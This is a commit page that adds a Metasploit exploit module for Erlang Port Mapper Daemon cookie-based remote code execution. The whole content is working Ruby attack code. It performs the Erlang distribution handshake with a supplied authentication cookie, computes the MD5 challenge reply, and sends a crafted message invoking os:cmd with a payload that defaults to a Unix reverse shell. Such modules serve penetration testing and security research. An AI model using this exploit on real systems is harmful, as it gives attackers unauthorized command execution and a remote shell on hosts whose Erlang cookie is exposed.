erlang cookie rce exploit module
parent
d9e7efa7e2
commit
fcad3f0c8f
|
@ -0,0 +1,118 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'digest'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'Erlang Port Mapper Daemon Cookie RCE',
|
||||||
|
'Description' => %q{
|
||||||
|
The erlang port mapper daemon is used to coordinate distributed erlang instances.
|
||||||
|
Should an attacker get the authentication cookie RCE is trivial. Usually, this
|
||||||
|
cookie is named ".erlang.cookie" and varys on location.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Daniel Mende', # discovery / blog post
|
||||||
|
'Milton Valencia (wetw0rk)', # metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Privileged' => 'false',
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'PAYLOAD' => 'cmd/unix/reverse'
|
||||||
|
},
|
||||||
|
'Arch' => [ ARCH_CMD ],
|
||||||
|
'Targets' => [[ 'Automatic Target', {} ]],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Oct 5, 2017',
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
|
||||||
|
Opt::RHOST(),
|
||||||
|
Opt::RPORT(25672)
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_challenge_digest(challenge)
|
||||||
|
challenge = challenge.unpack('H*')[0].to_i(16).to_s # chars -> 0xhexstr -> integer -> str
|
||||||
|
|
||||||
|
hash = Digest::MD5.new
|
||||||
|
hash.update datastore['COOKIE']
|
||||||
|
hash.update challenge
|
||||||
|
|
||||||
|
vprint_status("MD5 digest generated: #{hash.hexdigest}")
|
||||||
|
return [hash.hexdigest].pack('H*')
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
begin
|
||||||
|
connect
|
||||||
|
|
||||||
|
our_node = "#{rand_text_alphanumeric(6)}@#{rand_text_alphanumeric(7)}"
|
||||||
|
|
||||||
|
# SEND_NAME: send initial identification of who "we" are
|
||||||
|
send_name = "\x00\x15"
|
||||||
|
send_name << "\x6e"
|
||||||
|
send_name << "\x00\x05"
|
||||||
|
send_name << "\x00\x03\x49\x9c"
|
||||||
|
send_name << "#{our_node}"
|
||||||
|
# SEND_CHALLENGE_REPLY: return generated digest and its own challenge
|
||||||
|
send_challenge_reply = "\x00\x15"
|
||||||
|
send_challenge_reply << "\x72"
|
||||||
|
# SEND: send the message to the node
|
||||||
|
send = "\x00\x00\x00"
|
||||||
|
send << [(0x6c+payload.raw.length).to_s(16)].pack('H*')
|
||||||
|
send << "\x70\x83\x68\x04\x61\x06\x67\x64\x00\x0e"
|
||||||
|
send << "#{our_node}"
|
||||||
|
send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x64\x00\x00\x64"
|
||||||
|
send << "\x00\x03\x72\x65\x78\x83\x68\x02\x67\x64\x00\x0e"
|
||||||
|
send << "#{our_node}"
|
||||||
|
send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x68\x05\x64\x00\x04"
|
||||||
|
send << "call"
|
||||||
|
send << "\x64\x00\x02"
|
||||||
|
send << "os"
|
||||||
|
send << "\x64\x00\x03"
|
||||||
|
send << "cmd"
|
||||||
|
send << "\x6c\x00\x00\x00\x01\x6b\x00"
|
||||||
|
send << [(payload.raw.length).to_s(16)].pack('H*')
|
||||||
|
send << payload.raw
|
||||||
|
send << "\x6a\x64\x00\x04\x75\x73"
|
||||||
|
send << "\x65\x72"
|
||||||
|
|
||||||
|
sock.put(send_name)
|
||||||
|
|
||||||
|
# recieve servers "SEND_CHALLENGE" token (4 bytes)
|
||||||
|
print_status("Receiving server challenge")
|
||||||
|
challenge = sock.get
|
||||||
|
challenge = challenge[14,4]
|
||||||
|
|
||||||
|
send_challenge_reply << challenge
|
||||||
|
send_challenge_reply << generate_challenge_digest(challenge)
|
||||||
|
|
||||||
|
print_status("Sending challenge reply")
|
||||||
|
sock.put(send_challenge_reply)
|
||||||
|
sock.get
|
||||||
|
|
||||||
|
print_status("Challenge sent, sending payload")
|
||||||
|
sock.put(send)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue